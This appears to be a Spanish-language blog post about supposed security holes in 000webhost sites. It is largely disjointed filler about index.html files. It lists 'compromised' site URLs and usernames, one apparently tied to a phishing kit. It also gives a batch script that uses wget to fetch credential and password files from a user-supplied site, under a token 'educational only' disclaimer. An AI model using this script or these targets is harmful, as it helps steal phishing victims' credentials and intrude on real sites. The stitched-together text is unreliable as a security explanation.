Vulnerabilidades de seguridad de páginas 000webhost
Sin embargo, la seguridad de la aplicación no está a la par con el ciclo de desarrollo de seguridad, que amplía la amenaza. Por lo tanto, hoy en día hay un mayor número de defectos potenciales a los atacantes cibernéticos.
Las empresas y/o organizaciones tienen que tener claro lo que esto significa, una vulnerabilidad alta podría permitir a un atacante obtener accesos no autorizados a los datos e información sensible, información clientes, datos financieros, datos de salud, secretos comerciales, entre otros. También podría trasladarse a otros sistemas para escalar aún más el ataque.
¿Qué es un index.html?
Tener un archivo index subido a nuestro dominio es fundamental si se quiere tener una página web que funcione. Se puede decir más alto pero no más claro: sin index no hay página web. Así pues es sumamente importante tener un archivo index.
El tema esta en que cuando creamos una página web en Internet el primer paso que hay que tener en cuenta es crear el archivo index.html. El archivo index.html es la página principal del dominio al cual se accede desde Internet, lo que vemos en primer lugar a la hora de acceder a ese nombre de dominio.
Crear archivo de índice
A continuación puede ver sus archivos actuales en la carpeta public_html
Cuando se instala un servidor
en su configuración se le debe indicar qué archivo se debe cargar por defecto cuando se accede a un directorio.
Por ejemplo en mi servidor local tengo configurada la siguiente lista: index.php - index.html - index.html. Entonces cuando accedo, por ejemplo a http://localhost/directorio/ va a buscar alguno de los archivos de la lista anterior (en ese mismo orden) para cargar por defecto, si ninguno de ellos existe mostrará la lista de archivos de ese directorio.
El archivo index.php de una plantilla contiene una mezcla de código, que será entregada como tal, y el código php, será modificado antes de la entrega. El código será familiar para cualquiera que haya diseñado una simple página html. y . Donde index.php se diferencia es en el uso de código php para insertar la información seleccionada desde una base de datos.
aquí encontrar algunas web subido en el servidor y que pueden ser vulneradas.
Cuentas vulneradas
http://twiriock.com/29CB
user facesocialfish
password
http://twiriock.com/29DE
http://thecudizsiteweb.000webhostapp.com/
user thecudizsiteweb
password
user facesocialfish
password
http://twiriock.com/29DE
http://thecudizsiteweb.000webhostapp.com/
user thecudizsiteweb
password
Código bat
set /p user=
wget %user%/credenciales.txt
wget %user%/passwords.txt
wget %user%/username.txt
█▌│▌║▌ │█│║││█│ 
ADVERTENCIA: NO INTENTE HACER UN ATAQUE SIN EL PERMISO DE PROPIETARIO DEL SITIO WEB. ES UN PROPÓSITO EDUCATIVO SOLAMENTE. NO ES RESPONSABLE DE NINGÚN TIPO DE PROBLEMA ILEGAL.
PERMANECE LEGAL.
GRACIAS!
Si tienes algún problema, deja un comentario y comparte tú opinión.
¿Ha quedado contestada su pregunta?
Ese error yo ya lo sabía, el error es de 000webhost por colocar todos los datos de la web en la pág principal, se resuelve creando un archivo llamado "temp" y colocando todos los archivos alli
ResponderEliminar